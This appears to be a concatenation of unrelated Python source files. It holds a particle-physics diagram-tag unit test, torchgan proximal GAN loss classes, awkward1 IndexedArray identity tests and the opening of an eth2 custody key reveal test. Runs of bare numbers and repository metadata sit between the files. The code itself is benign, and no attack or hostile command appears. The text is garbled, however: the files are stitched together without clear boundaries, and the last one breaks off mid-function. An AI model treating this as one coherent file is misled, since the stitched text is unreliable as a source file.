[False, False, True]]] for idiag, diagram in enumerate(crossamp.get('diagrams')): self.assertEqual([[l.get('number') for l in v.get('legs')] \ for v in diagram.get('vertices')], crossed_numbers[idiag]) self.assertEqual([[l.get('state') for l in v.get('legs')] \ for v in diagram.get('vertices')], crossed_states[idiag]) #=============================================================================== # TestDiagramTag #=============================================================================== class TestDiagramTag(unittest.TestCase): """Test class for the DiagramTag class""" def setUp(self): self.base_model = import_ufo.import_model('sm') def test_diagram_tag_gg_ggg(self): """Test the diagram tag for gg > ggg""" myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':21, 'state':False})) myleglist.append(base_objects.Leg({'id':21, 'state':False})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myproc = base_objects.Process({'legs':myleglist, 'model':self.base_model}) myamplitude = diagram_generation.Amplitude(myproc) tags = [] permutations = [] diagram_classes = [] for idiag, diagram in enumerate(myamplitude.get('diagrams')): tag = diagram_generation.DiagramTag(diagram) try: ind = tags.index(tag) except: diagram_classes.append([idiag + 1]) permutations.append([tag.get_external_numbers()]) tags.append(tag) else: diagram_classes[ind].append(idiag + 1) permutations[ind].append(tag.get_external_numbers()) permutations = [[diagram_generation.DiagramTag.reorder_permutation(p, perms[0])\ for p in perms] for perms in permutations] goal_classes = [[1, 2, 3], [4], [5, 6, 9, 10, 13, 14], [7, 11, 15], [8, 12, 16], [17, 18, 19], [20, 21, 22], [23, 24, 25]] goal_perms = [[[0, 1, 2, 3, 4], [0, 1, 2, 4, 3], [0, 1, 4, 2, 3]], [[0, 1, 2, 3, 4]], [[0, 1, 2, 3, 4], [0, 1, 2, 4, 3], [0, 1, 3, 2, 4], [0, 1, 4, 2, 3], [0, 1, 3, 4, 2], [0, 1, 4, 3, 2]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4], [0, 1, 3, 4, 2]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4], [0, 1, 3, 4, 2]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4], [0, 1, 3, 4, 2]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4], [0, 1, 3, 4, 2]], [[0, 1, 2, 3, 4], [0, 1, 2, 4, 3], [0, 1, 4, 2, 3]]] for i in range(len(diagram_classes)): self.assertEqual(diagram_classes[i], goal_classes[i]) self.assertEqual(permutations[i], goal_perms[i]) def test_diagram_tag_uu_uug(self): """Test diagram tag for uu>uug""" myleglist = base_objects.LegList() myleglist.append(base_objects.Leg({'id':2, 'state':False})) myleglist.append(base_objects.Leg({'id':2, 'state':False})) myleglist.append(base_objects.Leg({'id':2, 'state':True})) myleglist.append(base_objects.Leg({'id':2, 'state':True})) myleglist.append(base_objects.Leg({'id':21, 'state':True})) myproc = base_objects.Process({'legs':myleglist, 'model':self.base_model}) myamplitude = diagram_generation.Amplitude(myproc) tags = [] permutations = [] diagram_classes = [] for idiag, diagram in enumerate(myamplitude.get('diagrams')): tag = diagram_generation.DiagramTag(diagram) try: ind = tags.index(tag) except: diagram_classes.append([idiag + 1]) permutations.append([tag.get_external_numbers()]) tags.append(tag) else: diagram_classes[ind].append(idiag + 1) permutations[ind].append(tag.get_external_numbers()) permutations = [[diagram_generation.DiagramTag.reorder_permutation(p, perms[0])\ for p in perms] for perms in permutations] goal_classes = [[1, 8], [2, 9], [3, 10], [4, 11], [5, 12], [6, 13], [7, 14], [15, 18], [16, 19], [17, 20], [21, 24], [22, 25], [23, 26]] goal_perms = [[[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]], [[0, 1, 2, 3, 4], [0, 1, 3, 2, 4]]] for i in range(len(diagram_classes)): self.assertEqual(diagram_classes[i], goal_classes[i]) self.assertEqual(permutations[i], goal_perms[i]) def test_reorder_permutation(self): """Test the reorder_permutation routine""" perm1 = [2,3,4,5,1] perm2 = [3,5,2,1,4] goal = [3,2,4,1,0] self.assertEqual(diagram_generation.DiagramTag.reorder_permutation(\ perm1, perm2), goal) def test_diagram_tag_to_diagram_uux_nglue(self): """Test diagrams from DiagramTags for u u~ > n g """ # Test 2, 3, 4 and 5 gluons in the final state for ngluon in range (2, 4): # Create the amplitude myleglist = base_objects.LegList([\ base_objects.Leg({'id':2, 'state':False}), base_objects.Leg({'id':-2, 'state':False})]) myleglist.extend([base_objects.Leg({'id':21, 'state':True})] * ngluon) myproc = base_objects.Process({'legs':myleglist, 'orders':{'QCD':ngluon, 'QED': 0}, 'model':self.base_model}) myamplitude = diagram_generation.Amplitude(myproc) diagrams = myamplitude.get('diagrams') diagram_tags = [diagram_generation.DiagramTag(d) \ for d in diagrams] #print myamplitude.get('process').nice_string() for i,(d,dtag) in enumerate(zip(diagrams, diagram_tags)): #print '%3r: ' % (i+1),d.nice_string() #print 'new: ',dtag.diagram_from_tag(self.base_model).nice_string() # Check that the resulting diagram is recreated in the same way # from the diagram tag (by checking the diagram tag) self.assertEqual(dtag, diagram_generation.DiagramTag(\ dtag.diagram_from_tag(self.base_model)))

41.621412

112

0.41004

14,127

160,950

4.538756

0.042472

0.096929

0.057269

0.040674

0.826775

0.800543

0.773

0.750682

0.720832

0.690435

0

0.046447

0.450488

160,950

3,866

113

41.632178

0.67852

0.05616

0

0.709159

0

0.087661

0.00097

0

0.042037

1

0.018797

false

0

0.004443

0

0.035202

0

null

0

1

0

1

0

null

0

7

73cdcce53f7ffcece92d9bf0cf9baf8ba6165629

25,813

py

Python

torchgan/losses/loss.py

proximal-dg/proximal_dg

000e925c7daab099b2c3735f99e65e6b2a00a799

[ "MIT" ]

13

2021-05-12T05:37:20.000Z

2022-03-30T17:05:47.000Z

torchgan/losses/loss.py

proximal-dg/proximal_dg

000e925c7daab099b2c3735f99e65e6b2a00a799

[ "MIT" ]

3

2021-10-20T04:51:36.000Z

2022-02-25T13:37:32.000Z

torchgan/losses/loss.py

proximal-dg/proximal_dg

000e925c7daab099b2c3735f99e65e6b2a00a799

[ "MIT" ]

1

2021-12-28T17:03:08.000Z

import torch import torch.nn as nn import copy from torch import autograd from math import log __all__ = ["GeneratorLoss", "DiscriminatorLoss","ProximalDiscriminatorLoss","ProximalGeneratorLoss"] class GeneratorLoss(nn.Module): r"""Base class for all generator losses. .. note:: All Losses meant to be minimized for optimizing the Generator must subclass this. Args: reduction (str, optional): Specifies the reduction to apply to the output. If ``none`` no reduction will be applied. If ``mean`` the outputs are averaged over batch size. If ``sum`` the elements of the output are summed. override_train_ops (function, optional): Function to be used in place of the default ``train_ops`` """ def __init__(self, reduction="mean", override_train_ops=None,eval_only=False): super(GeneratorLoss, self).__init__() self.reduction = reduction self.override_train_ops = override_train_ops self.arg_map = {} self.eval_only = eval_only def set_arg_map(self, value): r"""Updates the ``arg_map`` for passing a different value to the ``train_ops``. Args: value (dict): A mapping of the ``argument name`` in the method signature and the variable name in the ``Trainer`` it corresponds to. .. note:: If the ``train_ops`` signature is ``train_ops(self, gen, disc, optimizer_generator, device, batch_size, labels=None)`` then we need to map ``gen`` to ``generator`` and ``disc`` to ``discriminator``. In this case we make the following function call ``loss.set_arg_map({"gen": "generator", "disc": "discriminator"})``. """ self.arg_map.update(value) def train_ops( self, generator, discriminator, optimizer_generator, device, batch_size, labels=None, ): r"""Defines the standard ``train_ops`` used by most losses. Losses which have a different training procedure can either ``subclass`` it **(recommended approach)** or make use of ``override_train_ops`` argument. The ``standard optimization algorithm`` for the ``generator`` defined in this train_ops is as follows: 1. :math:`fake = generator(noise)` 2. :math:`value = discriminator(fake)` 3. :math:`loss = loss\_function(value)` 4. Backpropagate by computing :math:`\nabla loss` 5. Run a step of the optimizer for generator Args: generator (torchgan.models.Generator): The model to be optimized. discriminator (torchgan.models.Discriminator): The discriminator which judges the performance of the generator. optimizer_generator (torch.optim.Optimizer): Optimizer which updates the ``parameters`` of the ``generator``. device (torch.device): Device on which the ``generator`` and ``discriminator`` is present. batch_size (int): Batch Size of the data infered from the ``DataLoader`` by the ``Trainer``. labels (torch.Tensor, optional): Labels for the data. Returns: Scalar value of the loss. """ if self.override_train_ops is not None: return self.override_train_ops( generator, discriminator, optimizer_generator, device, batch_size, labels, ) else: if labels is None and generator.label_type == "required": raise Exception("GAN model requires labels for training") noise = torch.randn(batch_size, generator.encoding_dims, device=device) optimizer_generator.zero_grad() if generator.label_type == "generated": label_gen = torch.randint( 0, generator.num_classes, (batch_size,), device=device ) if generator.label_type == "none": fake = generator(noise) elif generator.label_type == "required": fake = generator(noise, labels) elif generator.label_type == "generated": fake = generator(noise, label_gen) if discriminator.label_type == "none": dgz = discriminator(fake) else: if generator.label_type == "generated": dgz = discriminator(fake, label_gen) else: dgz = discriminator(fake, labels) loss = self.forward(dgz) self.loss = loss # print("G Loss : ",loss.item()) if(not self.eval_only): loss.backward() optimizer_generator.step() # NOTE(avik-pal): This will error if reduction is is 'none' return loss.item() class DiscriminatorLoss(nn.Module): r"""Base class for all discriminator losses. .. note:: All Losses meant to be minimized for optimizing the Discriminator must subclass this. Args: reduction (str, optional): Specifies the reduction to apply to the output. If ``none`` no reduction will be applied. If ``mean`` the outputs are averaged over batch size. If ``sum`` the elements of the output are summed. override_train_ops (function, optional): Function to be used in place of the default ``train_ops`` """ def __init__(self, reduction="mean", override_train_ops=None,eval_only=False): super(DiscriminatorLoss, self).__init__() self.reduction = reduction self.override_train_ops = override_train_ops self.arg_map = {} self.eval_only = eval_only def set_arg_map(self, value): r"""Updates the ``arg_map`` for passing a different value to the ``train_ops``. Args: value (dict): A mapping of the ``argument name`` in the method signature and the variable name in the ``Trainer`` it corresponds to. .. note:: If the ``train_ops`` signature is ``train_ops(self, gen, disc, optimizer_discriminator, device, batch_size, labels=None)`` then we need to map ``gen`` to ``generator`` and ``disc`` to ``discriminator``. In this case we make the following function call ``loss.set_arg_map({"gen": "generator", "disc": "discriminator"})``. """ self.arg_map.update(value) def train_ops( self, generator, discriminator, optimizer_discriminator, real_inputs, device, labels=None, ): r"""Defines the standard ``train_ops`` used by most losses. Losses which have a different training procedure can either ``subclass`` it **(recommended approach)** or make use of ``override_train_ops`` argument. The ``standard optimization algorithm`` for the ``discriminator`` defined in this train_ops is as follows: 1. :math:`fake = generator(noise)` 2. :math:`value_1 = discriminator(fake)` 3. :math:`value_2 = discriminator(real)` 4. :math:`loss = loss\_function(value_1, value_2)` 5. Backpropagate by computing :math:`\nabla loss` 6. Run a step of the optimizer for discriminator Args: generator (torchgan.models.Generator): The model to be optimized. discriminator (torchgan.models.Discriminator): The discriminator which judges the performance of the generator. optimizer_discriminator (torch.optim.Optimizer): Optimizer which updates the ``parameters`` of the ``discriminator``. real_inputs (torch.Tensor): The real data to be fed to the ``discriminator``. device (torch.device): Device on which the ``generator`` and ``discriminator`` is present. batch_size (int): Batch Size of the data infered from the ``DataLoader`` by the ``Trainer``. labels (torch.Tensor, optional): Labels for the data. Returns: Scalar value of the loss. """ if self.override_train_ops is not None: return self.override_train_ops( self, generator, discriminator, optimizer_discriminator, real_inputs, device, labels, ) else: if labels is None and ( generator.label_type == "required" or discriminator.label_type == "required" ): raise Exception("GAN model requires labels for training") batch_size = real_inputs.size(0) noise = torch.randn(batch_size, generator.encoding_dims, device=device) if generator.label_type == "generated": label_gen = torch.randint( 0, generator.num_classes, (batch_size,), device=device ) optimizer_discriminator.zero_grad() if discriminator.label_type == "none": dx = discriminator(real_inputs) elif discriminator.label_type == "required": dx = discriminator(real_inputs, labels) else: dx = discriminator(real_inputs, label_gen) if generator.label_type == "none": fake = generator(noise) elif generator.label_type == "required": fake = generator(noise, labels) else: fake = generator(noise, label_gen) if discriminator.label_type == "none": dgz = discriminator(fake.detach()) else: if generator.label_type == "generated": dgz = discriminator(fake.detach(), label_gen) else: dgz = discriminator(fake.detach(), labels) loss = self.forward(dx, dgz) self.loss = loss if(not self.eval_only): loss.backward() optimizer_discriminator.step() # NOTE(avik-pal): This will error if reduction is is 'none' return loss.item() class ProximalDiscriminatorLoss(DiscriminatorLoss): r"""Base class for all proximal discriminator losses. .. note:: All Losses meant to be minimized for optimizing the Discriminator must subclass this. Args: reduction (str, optional): Specifies the reduction to apply to the output. If ``none`` no reduction will be applied. If ``mean`` the outputs are averaged over batch size. If ``sum`` the elements of the output are summed. override_train_ops (function, optional): Function to be used in place of the default ``train_ops`` """ def __init__(self, reduction="mean",override_train_ops=None,eval_only=False,lamda_prox=0.10,steps=10): super(ProximalDiscriminatorLoss, self).__init__(reduction,override_train_ops,eval_only) self.reduction = reduction self.override_train_ops = override_train_ops self.arg_map = {} self.eval_only = eval_only self.lamda_prox = lamda_prox self.steps = steps def set_arg_map(self, value): r"""Updates the ``arg_map`` for passing a different value to the ``train_ops``. Args: value (dict): A mapping of the ``argument name`` in the method signature and the variable name in the ``Trainer`` it corresponds to. .. note:: If the ``train_ops`` signature is ``train_ops(self, gen, disc, optimizer_discriminator, device, batch_size, labels=None)`` then we need to map ``gen`` to ``generator`` and ``disc`` to ``discriminator``. In this case we make the following function call ``loss.set_arg_map({"gen": "generator", "disc": "discriminator"})``. """ self.arg_map.update(value) def train_ops( self, generator, discriminator, optimizer_discriminator, real_inputs, device, labels=None, ): r"""Defines the standard ``train_ops`` used by most losses. Losses which have a different training procedure can either ``subclass`` it **(recommended approach)** or make use of ``override_train_ops`` argument. The ``standard optimization algorithm`` for the ``discriminator`` defined in this train_ops is as follows: 1. :math:`fake = generator(noise)` 2. :math:`value_1 = discriminator(fake)` 3. :math:`value_2 = discriminator(real)` 4. :math:`loss = loss\_function(value_1, value_2)` 5. Backpropagate by computing :math:`\nabla loss` 6. Run a step of the optimizer for discriminator Args: generator (torchgan.models.Generator): The model to be optimized. discriminator (torchgan.models.Discriminator): The discriminator which judges the performance of the generator. optimizer_discriminator (torch.optim.Optimizer): Optimizer which updates the ``parameters`` of the ``discriminator``. real_inputs (torch.Tensor): The real data to be fed to the ``discriminator``. device (torch.device): Device on which the ``generator`` and ``discriminator`` is present. batch_size (int): Batch Size of the data infered from the ``DataLoader`` by the ``Trainer``. labels (torch.Tensor, optional): Labels for the data. Returns: Scalar value of the loss. """ if self.override_train_ops is not None: return self.override_train_ops( self, generator, discriminator, optimizer_discriminator, real_inputs, device, labels, ) else: real_inputs.requires_grad = True if labels is None and ( generator.label_type == "required" or discriminator.label_type == "required" ): raise Exception("GAN model requires labels for training") proximal_discriminator = type(discriminator)(discriminator.in_size,discriminator.in_channels,discriminator.step_channels,discriminator.batchnorm,discriminator.nonlinearity,discriminator.last_nonlinearity,discriminator.label_type).to(device) proximal_discriminator.load_state_dict(discriminator.state_dict()) # for step in range(self.steps): batch_size = real_inputs.size(0) for step in range(self.steps): if self.clip is not None: for p in discriminator.parameters(): p.data.clamp_(self.clip[0], self.clip[1]) noise = torch.randn(batch_size, generator.encoding_dims, device=device) if generator.label_type == "generated": label_gen = torch.randint( 0, generator.num_classes, (batch_size,), device=device ) optimizer_discriminator.zero_grad() if discriminator.label_type == "none": dx = discriminator(real_inputs) dx_prox = proximal_discriminator(real_inputs) elif discriminator.label_type == "required": dx = discriminator(real_inputs, labels) dx_prox = proximal_discriminator(real_inputs, labels) else: dx = discriminator(real_inputs, label_gen) dx_prox = proximal_discriminator(real_inputs, label_gen) if generator.label_type == "none": fake = generator(noise) elif generator.label_type == "required": fake = generator(noise, labels) else: fake = generator(noise, label_gen) if discriminator.label_type == "none": dgz = discriminator(fake.detach()) else: if generator.label_type == "generated": dgz = discriminator(fake.detach(), label_gen) else: dgz = discriminator(fake.detach(), labels) grad_dx = autograd.grad(torch.unbind(dx), real_inputs, create_graph=False,retain_graph=True)[0] grad_dx_prox = autograd.grad(torch.unbind(dx_prox), real_inputs, create_graph=False,retain_graph=True)[0] penalty = torch.mean(torch.square(torch.norm(grad_dx_prox-grad_dx,dim=(2,3)))) loss = self.forward(dx, dgz) + self.lamda_prox*penalty self.loss = loss loss.backward() optimizer_discriminator.step() return loss.item() class ProximalGeneratorLoss(GeneratorLoss): r"""Base class for all proximal generator losses. .. note:: All Losses meant to be minimized for optimizing the Generator must subclass this. Args: reduction (str, optional): Specifies the reduction to apply to the output. If ``none`` no reduction will be applied. If ``mean`` the outputs are averaged over batch size. If ``sum`` the elements of the output are summed. override_train_ops (function, optional): Function to be used in place of the default ``train_ops`` """ def __init__(self, reduction="mean", override_train_ops=None,eval_only=False,lamda_prox=0.10,steps=10,proximal_discriminator_loss=None): super(ProximalGeneratorLoss, self).__init__(reduction,override_train_ops,eval_only) self.reduction = reduction self.override_train_ops = override_train_ops self.arg_map = {} self.eval_only = eval_only self.lamda_prox = lamda_prox self.steps = steps self.proximal_discriminator_loss = proximal_discriminator_loss def set_arg_map(self, value): r"""Updates the ``arg_map`` for passing a different value to the ``train_ops``. Args: value (dict): A mapping of the ``argument name`` in the method signature and the variable name in the ``Trainer`` it corresponds to. .. note:: If the ``train_ops`` signature is ``train_ops(self, gen, disc, optimizer_generator, device, batch_size, labels=None)`` then we need to map ``gen`` to ``generator`` and ``disc`` to ``discriminator``. In this case we make the following function call ``loss.set_arg_map({"gen": "generator", "disc": "discriminator"})``. """ self.arg_map.update(value) def train_ops( self, real_inputs, generator, discriminator, optimizer_discriminator, optimizer_generator, device, batch_size, labels=None, ): r"""Defines the standard ``train_ops`` used by most losses. Losses which have a different training procedure can either ``subclass`` it **(recommended approach)** or make use of ``override_train_ops`` argument. The ``standard optimization algorithm`` for the ``generator`` defined in this train_ops is as follows: 1. :math:`fake = generator(noise)` 2. :math:`value = discriminator(fake)` 3. :math:`loss = loss\_function(value)` 4. Backpropagate by computing :math:`\nabla loss` 5. Run a step of the optimizer for generator Args: generator (torchgan.models.Generator): The model to be optimized. discriminator (torchgan.models.Discriminator): The discriminator which judges the performance of the generator. optimizer_generator (torch.optim.Optimizer): Optimizer which updates the ``parameters`` of the ``generator``. device (torch.device): Device on which the ``generator`` and ``discriminator`` is present. batch_size (int): Batch Size of the data infered from the ``DataLoader`` by the ``Trainer``. labels (torch.Tensor, optional): Labels for the data. Returns: Scalar value of the loss. """ if self.override_train_ops is not None: return self.override_train_ops( generator, discriminator, optimizer_generator, device, batch_size, labels, ) else: real_inputs.requires_grad = True if labels is None and ( generator.label_type == "required" or discriminator.label_type == "required" ): raise Exception("GAN model requires labels for training") prox_discriminator = type(discriminator)(discriminator.in_size,discriminator.in_channels,discriminator.step_channels,discriminator.batchnorm,discriminator.nonlinearity,discriminator.last_nonlinearity,discriminator.label_type).to(device) prox_discriminator.load_state_dict(discriminator.state_dict()) for p,q in zip(discriminator.parameters(),prox_discriminator.parameters()): q.requires_grad = p.requires_grad for step in range(self.steps): optimizer_discriminator.zero_grad() if hasattr(self.proximal_discriminator_loss,"clip"): for p in discriminator.parameters(): p.data.clamp_(self.proximal_discriminator_loss.clip[0], self.proximal_discriminator_loss.clip[1]) batch_size = real_inputs.size(0) noise = torch.randn(batch_size, generator.encoding_dims, device=device) if generator.label_type == "generated": label_gen = torch.randint( 0, generator.num_classes, (batch_size,), device=device ) if discriminator.label_type == "none": dx = discriminator(real_inputs) dx_prox = prox_discriminator(real_inputs) elif discriminator.label_type == "required": dx = discriminator(real_inputs, labels) dx_prox = prox_discriminator(real_inputs, labels) else: dx = discriminator(real_inputs, label_gen) dx_prox = prox_discriminator(real_inputs, label_gen) if generator.label_type == "none": fake = generator(noise) elif generator.label_type == "required": fake = generator(noise, labels) else: fake = generator(noise, label_gen) if discriminator.label_type == "none": dgz = discriminator(fake.detach()) else: if generator.label_type == "generated": dgz = discriminator(fake.detach(), label_gen) else: dgz = discriminator(fake.detach(), labels) grad_dx = autograd.grad(torch.unbind(dx), real_inputs, create_graph=False,retain_graph=True)[0] grad_dx_prox = autograd.grad(torch.unbind(dx_prox), real_inputs, create_graph=False,retain_graph=True)[0] penalty = torch.mean(torch.square(torch.norm(grad_dx - grad_dx_prox,dim=(2,3)))) loss = self.proximal_discriminator_loss.forward(dx, dgz) + self.lamda_prox*penalty loss.backward() optimizer_discriminator.step() if labels is None and generator.label_type == "required": raise Exception("GAN model requires labels for training") noise = torch.randn(batch_size, generator.encoding_dims, device=device) optimizer_generator.zero_grad() if generator.label_type == "generated": label_gen = torch.randint( 0, generator.num_classes, (batch_size,), device=device ) if generator.label_type == "none": fake = generator(noise) elif generator.label_type == "required": fake = generator(noise, labels) elif generator.label_type == "generated": fake = generator(noise, label_gen) if discriminator.label_type == "none": dgz = discriminator(fake) else: if generator.label_type == "generated": dgz = discriminator(fake, label_gen) else: dgz = discriminator(fake, labels) loss = self.forward(dgz) self.loss = loss if(not self.eval_only): loss.backward() optimizer_generator.step() discriminator.load_state_dict(prox_discriminator.state_dict()) # NOTE(avik-pal): This will error if reduction is is 'none' return loss.item()

44.124786

252

0.577345

2,761

25,813

5.243028

0.077508

0.032053

0.033158

0.020724

0.946601

0.930437

0.91669

0.908953

0.901907

0.895966

0

0.003489

0.333785

25,813

584

253

44.200342

0.838286

0.362221

0

0.817629

0

0.037642

0.003017

0

1

0.036474

false

0

0.015198

0

0.088146

0

null

0

1

0

1

0

null

0

7

fb6a0f3a61dc30bca420a6f1eb6b1fc07fe6df12

4,570

py

Python

tests/test_0082-indexedarray-setidentities.py

nikoladze/awkward-1.0

7e1001b6ee59f1cba96cf57d144e7f2719f07e69

[ "BSD-3-Clause" ]

null

tests/test_0082-indexedarray-setidentities.py

nikoladze/awkward-1.0

7e1001b6ee59f1cba96cf57d144e7f2719f07e69

[ "BSD-3-Clause" ]

null

tests/test_0082-indexedarray-setidentities.py

nikoladze/awkward-1.0

7e1001b6ee59f1cba96cf57d144e7f2719f07e69

[ "BSD-3-Clause" ]

null

# BSD 3-Clause License; see https://github.com/scikit-hep/awkward-1.0/blob/master/LICENSE from __future__ import absolute_import import sys import pytest import numpy import awkward1 def test_error(): content = awkward1.layout.NumpyArray(numpy.array([0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9])) index = awkward1.layout.Index64(numpy.array([0, 2, 4, 6, 8, 10, 12, 14], dtype=numpy.int64)) indexedarray = awkward1.layout.IndexedArray64(index, content) with pytest.raises(ValueError) as err: indexedarray.setidentities() assert str(err.value) == "in IndexedArray64 attempting to get 10, max(index) > len(content)" def test_passthrough_32(): content = awkward1.layout.NumpyArray(numpy.array([0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9])) index = awkward1.layout.Index32(numpy.array([0, 2, 4, 6, 8, 9, 7, 5], dtype=numpy.int32)) indexedarray = awkward1.layout.IndexedArray32(index, content) assert awkward1.to_list(indexedarray) == [0.0, 2.2, 4.4, 6.6, 8.8, 9.9, 7.7, 5.5] indexedarray.setidentities() assert numpy.asarray(indexedarray.identities).tolist() == [[0], [1], [2], [3], [4], [5], [6], [7]] assert numpy.asarray(indexedarray.content.identities).tolist() == [[0], [-1], [1], [-1], [2], [7], [3], [6], [4], [5]] assert isinstance(indexedarray.content.identities, awkward1.layout.Identities32) def test_passthrough_U32(): content = awkward1.layout.NumpyArray(numpy.array([0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9])) index = awkward1.layout.IndexU32(numpy.array([0, 2, 4, 6, 8, 9, 7, 5], dtype=numpy.uint32)) indexedarray = awkward1.layout.IndexedArrayU32(index, content) assert awkward1.to_list(indexedarray) == [0.0, 2.2, 4.4, 6.6, 8.8, 9.9, 7.7, 5.5] indexedarray.setidentities() assert numpy.asarray(indexedarray.identities).tolist() == [[0], [1], [2], [3], [4], [5], [6], [7]] assert numpy.asarray(indexedarray.content.identities).tolist() == [[0], [-1], [1], [-1], [2], [7], [3], [6], [4], [5]] assert isinstance(indexedarray.content.identities, awkward1.layout.Identities64) def test_passthrough_64(): content = awkward1.layout.NumpyArray(numpy.array([0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9])) index = awkward1.layout.Index64(numpy.array([0, 2, 4, 6, 8, 9, 7, 5], dtype=numpy.int64)) indexedarray = awkward1.layout.IndexedArray64(index, content) assert awkward1.to_list(indexedarray) == [0.0, 2.2, 4.4, 6.6, 8.8, 9.9, 7.7, 5.5] indexedarray.setidentities() assert numpy.asarray(indexedarray.identities).tolist() == [[0], [1], [2], [3], [4], [5], [6], [7]] assert numpy.asarray(indexedarray.content.identities).tolist() == [[0], [-1], [1], [-1], [2], [7], [3], [6], [4], [5]] assert isinstance(indexedarray.content.identities, awkward1.layout.Identities64) def test_dontpass_32(): content = awkward1.layout.NumpyArray(numpy.array([0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9])) index = awkward1.layout.Index32(numpy.array([0, 2, 4, 6, 8, 6, 4, 2, 0], dtype=numpy.int32)) indexedarray = awkward1.layout.IndexedArray32(index, content) assert awkward1.to_list(indexedarray) == [0.0, 2.2, 4.4, 6.6, 8.8, 6.6, 4.4, 2.2, 0.0] indexedarray.setidentities() assert numpy.asarray(indexedarray.identities).tolist() == [[0], [1], [2], [3], [4], [5], [6], [7], [8]] assert indexedarray.content.identities is None def test_dontpass_U32(): content = awkward1.layout.NumpyArray(numpy.array([0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9])) index = awkward1.layout.IndexU32(numpy.array([0, 2, 4, 6, 8, 6, 4, 2, 0], dtype=numpy.uint32)) indexedarray = awkward1.layout.IndexedArrayU32(index, content) assert awkward1.to_list(indexedarray) == [0.0, 2.2, 4.4, 6.6, 8.8, 6.6, 4.4, 2.2, 0.0] indexedarray.setidentities() assert numpy.asarray(indexedarray.identities).tolist() == [[0], [1], [2], [3], [4], [5], [6], [7], [8]] assert indexedarray.content.identities is None def test_dontpass_64(): content = awkward1.layout.NumpyArray(numpy.array([0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9])) index = awkward1.layout.Index64(numpy.array([0, 2, 4, 6, 8, 6, 4, 2, 0], dtype=numpy.int64)) indexedarray = awkward1.layout.IndexedArray64(index, content) assert awkward1.to_list(indexedarray) == [0.0, 2.2, 4.4, 6.6, 8.8, 6.6, 4.4, 2.2, 0.0] indexedarray.setidentities() assert numpy.asarray(indexedarray.identities).tolist() == [[0], [1], [2], [3], [4], [5], [6], [7], [8]] assert indexedarray.content.identities is None

55.060241

122

0.641138

748

4,570

3.885027

0.108289

0.115623

0.052994

0.013765

0.878183

0.855127

0

0.123878

0.146827

4,570

82

123

55.731707

0.621441

0.019037

0

0.650794

0

0.014506

0

0.349206

1

0.111111

false

0.095238

0.079365

0

0.190476

0

null

0

1

0

null

0

1

0

7

fb9157f2f12d3da35237746c06c0e90b1955f559

4,088

py

Python

tests/core/pyspec/eth2spec/test/phase_1/block_processing/test_process_custody_key_reveal.py

Leibniz137/eth2.0-specs

e11267952f834d7242d99d305cdcc969f35dbf6d

[ "CC0-1.0" ]

1

2021-04-06T23:29:39.000Z

tests/core/pyspec/eth2spec/test/phase_1/block_processing/test_process_custody_key_reveal.py

Leibniz137/eth2.0-specs

e11267952f834d7242d99d305cdcc969f35dbf6d

[ "CC0-1.0" ]

null

tests/core/pyspec/eth2spec/test/phase_1/block_processing/test_process_custody_key_reveal.py

Leibniz137/eth2.0-specs

e11267952f834d7242d99d305cdcc969f35dbf6d

[ "CC0-1.0" ]

1

2021-12-25T16:41:24.000Z

from eth2spec.test.helpers.custody import get_valid_custody_key_reveal from eth2spec.test.context import ( with_all_phases_except, spec_state_test, expect_assertion_error, always_bls, ) def run_custody_key_reveal_processing(spec, state, custody_key_reveal, valid=True): """ Run ``process_custody_key_reveal``, yielding: - pre-state ('pre') - custody_key_reveal ('custody_key_reveal') - post-state ('post'). If ``valid == False``, run expecting ``AssertionError`` """ yield 'pre', state yield 'custody_key_reveal', custody_key_reveal if not valid: expect_assertion_error(lambda: spec.process_custody_key_reveal(state, custody_key_reveal)) yield 'post', None return revealer_index = custody_key_reveal.revealer_index pre_next_custody_secret_to_reveal = \ state.validators[revealer_index].next_custody_secret_to_reveal pre_reveal_lateness = state.validators[revealer_index].max_reveal_lateness spec.process_custody_key_reveal(state, custody_key_reveal) post_next_custody_secret_to_reveal = \ state.validators[revealer_index].next_custody_secret_to_reveal post_reveal_lateness = state.validators[revealer_index].max_reveal_lateness assert post_next_custody_secret_to_reveal == pre_next_custody_secret_to_reveal + 1 if spec.get_current_epoch(state) > spec.get_randao_epoch_for_custody_period( pre_next_custody_secret_to_reveal, revealer_index ) + spec.EPOCHS_PER_CUSTODY_PERIOD: assert post_reveal_lateness > 0 if pre_reveal_lateness == 0: assert post_reveal_lateness == spec.get_current_epoch(state) - spec.get_randao_epoch_for_custody_period( pre_next_custody_secret_to_reveal, revealer_index ) - spec.EPOCHS_PER_CUSTODY_PERIOD else: if pre_reveal_lateness > 0: assert post_reveal_lateness < pre_reveal_lateness yield 'post', state @with_all_phases_except(['phase0']) @spec_state_test @always_bls def test_success(spec, state): state.slot += spec.EPOCHS_PER_CUSTODY_PERIOD * spec.SLOTS_PER_EPOCH 